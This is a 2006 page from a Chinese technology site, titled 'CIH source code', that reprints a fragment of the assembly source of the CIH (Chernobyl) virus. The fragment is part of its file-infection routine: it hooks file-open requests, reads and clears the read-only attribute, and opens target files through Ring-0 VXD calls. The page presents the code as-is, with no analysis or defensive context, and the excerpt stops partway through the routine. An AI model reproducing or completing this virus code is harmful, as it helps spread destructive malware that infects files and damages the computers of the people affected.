CIH源代码

http://tech.ddvip.com   2006年04月03日    社区交流 收藏本文

本文详细介绍CIH源代码

  ; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy

  ; *************************************
; * Get Attributes of the File *
; *************************************

  mov ax, 4300h
int 20h ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO = $
dd 00400032h

  jc DisableOnBusy

  push ecx

  ; *************************************
; * Get IFSMgr_Ring0_FileIO Address *
; *************************************

  mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]

  ; *************************************
; * Is Read-Only File !? *
; *************************************

  test cl, 01h
jz OpenFile

  ; *************************************
; * Modify Read-Only File to Write *
; *************************************

  mov ax, 4301h
xor ecx, ecx
call edi ; VXDCall IFSMgr_Ring0_FileIO

  ; *************************************
; * Open File *
; *************************************

  OpenFile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx
xor edx, edx
inc edx
mov ebx, edx
inc ebx
call edi ; VXDCall IFSMgr_Ring0_FileIO

  xchg ebx, eax ; mov ebx, FileHandle

  ; *************************************
; * Need to Restore *
; * Attributes of the File !? *
; *************************************

责编:豆豆技术应用

正在加载评论...